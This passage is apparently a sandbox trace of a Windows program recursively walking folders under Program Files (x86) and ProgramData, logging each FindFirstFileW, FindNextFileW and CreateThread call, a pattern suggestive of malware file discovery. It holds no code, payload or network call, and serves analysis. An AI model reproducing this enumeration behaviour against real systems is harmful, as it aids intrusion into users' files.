(x86)\\Reference Assemblies" [0045.745] wcscat (in: _Dest=0x445968, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\" [0045.745] wcscat (in: _Dest=0x445968, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\*") returned="C:\\Program Files (x86)\\Reference Assemblies\\*" [0045.745] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x448d38 [0045.745] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\*", lpFindFileData=0x448d38 | out: lpFindFileData=0x448d38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409b28 [0045.745] wcscmp (_String1=".", _String2=".") returned 0 [0045.745] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x448d38 | out: lpFindFileData=0x448d38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.745] wcscmp (_String1="..", _String2=".") returned 1 [0045.745] wcscmp (_String1="..", _String2="..") returned 0 [0045.745] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x448d38 | out: lpFindFileData=0x448d38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0045.745] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0045.746] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0045.746] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x4189b0 [0045.746] wcscpy (in: _Dest=0x4189b0, _Source="C:\\Program Files (x86)\\Reference Assemblies" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies") returned="C:\\Program Files (x86)\\Reference Assemblies" [0045.746] wcscat (in: _Dest=0x4189b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\" [0045.746] wcscat (in: _Dest=0x4189b0, _Source="Microsoft" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft" [0045.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4189b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec [0045.747] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x448d38 | out: lpFindFileData=0x448d38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0045.747] FindClose (in: hFindFile=0x409b28 | out: hFindFile=0x409b28) returned 1 [0045.747] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x448d38) returned 1 [0045.747] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.747] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41beb8) returned 1 Thread: id = 89 os_tid = 0xb64 [0045.751] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5e) returned 0x445968 [0045.751] wcscpy (in: _Dest=0x445968, _Source="C:\\Program Files (x86)\\Uninstall Information" | out: _Dest="C:\\Program Files (x86)\\Uninstall Information") returned="C:\\Program Files (x86)\\Uninstall Information" [0045.751] wcscat (in: _Dest=0x445968, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Uninstall Information\\") returned="C:\\Program Files (x86)\\Uninstall Information\\" [0045.751] wcscat (in: _Dest=0x445968, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Uninstall Information\\*") returned="C:\\Program Files (x86)\\Uninstall Information\\*" [0045.751] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x448d38 [0045.751] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Uninstall Information\\*", lpFindFileData=0x448d38 | out: lpFindFileData=0x448d38*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x88228ce0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x88228ce0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409b28 [0045.751] wcscmp (_String1=".", _String2=".") returned 0 [0045.751] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x448d38 | out: lpFindFileData=0x448d38*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x88228ce0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x88228ce0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.751] wcscmp (_String1="..", _String2=".") returned 1 [0045.751] wcscmp (_String1="..", _String2="..") returned 0 [0045.751] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x448d38 | out: lpFindFileData=0x448d38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1614a600, ftCreationTime.dwHighDateTime=0x1d55387, ftLastAccessTime.dwLowDateTime=0xda647af0, ftLastAccessTime.dwHighDateTime=0x1d55c68, ftLastWriteTime.dwLowDateTime=0xda647af0, ftLastWriteTime.dwHighDateTime=0x1d55c68, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hawaiian_cas.exe", cAlternateFileName="HAWAII~1.EXE")) returned 1 [0045.751] wcscmp (_String1="hawaiian_cas.exe", _String2=".") returned 1 [0045.752] wcscmp (_String1="hawaiian_cas.exe", _String2="..") returned 1 [0045.752] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x448d38 | out: lpFindFileData=0x448d38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1614a600, ftCreationTime.dwHighDateTime=0x1d55387, ftLastAccessTime.dwLowDateTime=0xda647af0, ftLastAccessTime.dwHighDateTime=0x1d55c68, ftLastWriteTime.dwLowDateTime=0xda647af0, ftLastWriteTime.dwHighDateTime=0x1d55c68, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hawaiian_cas.exe", cAlternateFileName="HAWAII~1.EXE")) returned 0 [0045.752] FindClose (in: hFindFile=0x409b28 | out: hFindFile=0x409b28) returned 1 [0045.752] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x448d38) returned 1 [0045.752] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.752] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41bf18) returned 1 Thread: id = 90 os_tid = 0xb68 [0045.755] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x413de0 [0045.755] wcscpy (in: _Dest=0x413de0, _Source="C:\\Program Files (x86)\\Windows Mail" | out: _Dest="C:\\Program Files (x86)\\Windows Mail") returned="C:\\Program Files (x86)\\Windows Mail" [0045.755] wcscat (in: _Dest=0x413de0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\") returned="C:\\Program Files (x86)\\Windows Mail\\" [0045.755] wcscat (in: _Dest=0x413de0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\*") returned="C:\\Program Files (x86)\\Windows Mail\\*" [0045.755] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.755] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x87d19e20, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d19e20, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409b28 [0045.755] wcscmp (_String1=".", _String2=".") returned 0 [0045.755] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x87d19e20, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d19e20, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.756] wcscmp (_String1="..", _String2=".") returned 1 [0045.756] wcscmp (_String1="..", _String2="..") returned 0 [0045.756] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0045.756] wcscmp (_String1="en-US", _String2=".") returned 1 [0045.756] wcscmp (_String1="en-US", _String2="..") returned 1 [0045.756] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x44a010 [0045.756] wcscpy (in: _Dest=0x44a010, _Source="C:\\Program Files (x86)\\Windows Mail" | out: _Dest="C:\\Program Files (x86)\\Windows Mail") returned="C:\\Program Files (x86)\\Windows Mail" [0045.756] wcscat (in: _Dest=0x44a010, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\") returned="C:\\Program Files (x86)\\Windows Mail\\" [0045.756] wcscat (in: _Dest=0x44a010, _Source="en-US" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\en-US") returned="C:\\Program Files (x86)\\Windows Mail\\en-US" [0045.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0 [0045.757] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b530d7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3b530d7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3b9f397, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18b800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0045.757] wcscmp (_String1="msoe.dll", _String2=".") returned 1 [0045.757] wcscmp (_String1="msoe.dll", _String2="..") returned 1 [0045.757] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e00b0b6, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x9e00b0b6, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x6cf87540, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1 [0045.757] wcscmp (_String1="MSOERES.dll", _String2=".") returned 1 [0045.757] wcscmp (_String1="MSOERES.dll", _String2="..") returned 1 [0045.757] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b9f397, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3b9f397, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3b9f397, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oeimport.dll", cAlternateFileName="")) returned 1 [0045.757] wcscmp (_String1="oeimport.dll", _String2=".") returned 1 [0045.757] wcscmp (_String1="oeimport.dll", _String2="..") returned 1 [0045.757] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf14fe800, ftCreationTime.dwHighDateTime=0x1d50cd9, ftLastAccessTime.dwLowDateTime=0x95a99aa0, ftLastAccessTime.dwHighDateTime=0x1d5811e, ftLastWriteTime.dwLowDateTime=0x95a99aa0, ftLastWriteTime.dwHighDateTime=0x1d5811e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="prix enclosure surveys.exe", cAlternateFileName="PRIXEN~1.EXE")) returned 1 [0045.757] wcscmp (_String1="prix enclosure surveys.exe", _String2=".") returned 1 [0045.757] wcscmp (_String1="prix enclosure surveys.exe", _String2="..") returned 1 [0045.757] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x879b1223, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x879b1223, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87a95a65, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab.exe", cAlternateFileName="")) returned 1 [0045.757] wcscmp (_String1="wab.exe", _String2=".") returned 1 [0045.757] wcscmp (_String1="wab.exe", _String2="..") returned 1 [0045.757] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a77900b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a77900b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb04ef6b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabfind.dll", cAlternateFileName="")) returned 1 [0045.757] wcscmp (_String1="wabfind.dll", _String2=".") returned 1 [0045.757] wcscmp (_String1="wabfind.dll", _String2="..") returned 1 [0045.757] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a1aba92, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a1aba92, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb05167b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1 [0045.757] wcscmp (_String1="wabimp.dll", _String2=".") returned 1 [0045.757] wcscmp (_String1="wabimp.dll", _String2="..") returned 1 [0045.757] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c2b2af4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8c2b2af4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x78aae250, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1 [0045.757] wcscmp (_String1="wabmig.exe", _String2=".") returned 1 [0045.757] wcscmp (_String1="wabmig.exe", _String2="..") returned 1 [0045.757] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8e771d9d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8e771d9d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x796bc150, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x60e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1 [0045.757] wcscmp (_String1="WinMail.exe", _String2=".") returned 1 [0045.757] wcscmp (_String1="WinMail.exe", _String2="..") returned 1 [0045.757] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8e771d9d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8e771d9d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x796bc150, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x60e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 0 [0045.758] FindClose (in: hFindFile=0x409b28 | out: hFindFile=0x409b28) returned 1 [0045.758] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.758] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413de0) returned 1 [0045.758] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444be0) returned 1 Thread: id = 91 os_tid = 0xb6c [0045.759] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2e) returned 0x40aa30 [0045.759] wcscpy (in: _Dest=0x40aa30, _Source="C:\\ProgramData\\Adobe" | out: _Dest="C:\\ProgramData\\Adobe") returned="C:\\ProgramData\\Adobe" [0045.759] wcscat (in: _Dest=0x40aa30, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\") returned="C:\\ProgramData\\Adobe\\" [0045.759] wcscat (in: _Dest=0x40aa30, _Source="*" | out: _Dest="C:\\ProgramData\\Adobe\\*") returned="C:\\ProgramData\\Adobe\\*" [0045.759] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.759] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409b28 [0045.759] wcscmp (_String1=".", _String2=".") returned 0 [0045.759] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.759] wcscmp (_String1="..", _String2=".") returned 1 [0045.759] wcscmp (_String1="..", _String2="..") returned 0 [0045.759] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0045.759] wcscmp (_String1="Acrobat", _String2=".") returned 1 [0045.759] wcscmp (_String1="Acrobat", _String2="..") returned 1 [0045.759] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3a) returned 0x402570 [0045.759] wcscpy (in: _Dest=0x402570, _Source="C:\\ProgramData\\Adobe" | out: _Dest="C:\\ProgramData\\Adobe") returned="C:\\ProgramData\\Adobe" [0045.759] wcscat (in: _Dest=0x402570, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\") returned="C:\\ProgramData\\Adobe\\" [0045.759] wcscat (in: _Dest=0x402570, _Source="Acrobat" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat") returned="C:\\ProgramData\\Adobe\\Acrobat" [0045.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x402570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4 [0045.760] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1 [0045.760] wcscmp (_String1="ARM", _String2=".") returned 1 [0045.760] wcscmp (_String1="ARM", _String2="..") returned 1 [0045.760] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x32) returned 0x409a68 [0045.760] wcscpy (in: _Dest=0x409a68, _Source="C:\\ProgramData\\Adobe" | out: _Dest="C:\\ProgramData\\Adobe") returned="C:\\ProgramData\\Adobe" [0045.760] wcscat (in: _Dest=0x409a68, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\") returned="C:\\ProgramData\\Adobe\\" [0045.760] wcscat (in: _Dest=0x409a68, _Source="ARM" | out: _Dest="C:\\ProgramData\\Adobe\\ARM") returned="C:\\ProgramData\\Adobe\\ARM" [0045.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409a68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f8 [0045.761] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 0 [0045.761] FindClose (in: hFindFile=0x409b28 | out: hFindFile=0x409b28) returned 1 [0045.761] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.761] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40aa30) returned 1 [0045.762] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a988) returned 1 Thread: id = 92 os_tid = 0xb70 [0045.762] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x44) returned 0x444be0 [0045.762] wcscpy (in: _Dest=0x444be0, _Source="C:\\ProgramData\\Application Data" | out: _Dest="C:\\ProgramData\\Application Data") returned="C:\\ProgramData\\Application Data" [0045.762] wcscat (in: _Dest=0x444be0, _Source="\\" | out: _Dest="C:\\ProgramData\\Application Data\\") returned="C:\\ProgramData\\Application Data\\" [0045.762] wcscat (in: _Dest=0x444be0, _Source="*" | out: _Dest="C:\\ProgramData\\Application Data\\*") returned="C:\\ProgramData\\Application Data\\*" [0045.762] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.762] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Application Data\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0045.763] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.763] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444be0) returned 1 [0045.763] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4025b8) returned 1 Thread: id = 93 os_tid = 0xb74 [0045.764] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x32) returned 0x409b28 [0045.764] wcscpy (in: _Dest=0x409b28, _Source="C:\\ProgramData\\Desktop" | out: _Dest="C:\\ProgramData\\Desktop") returned="C:\\ProgramData\\Desktop" [0045.764] wcscat (in: _Dest=0x409b28, _Source="\\" | out: _Dest="C:\\ProgramData\\Desktop\\") returned="C:\\ProgramData\\Desktop\\" [0045.764] wcscat (in: _Dest=0x409b28, _Source="*" | out: _Dest="C:\\ProgramData\\Desktop\\*") returned="C:\\ProgramData\\Desktop\\*" [0045.764] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.764] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Desktop\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 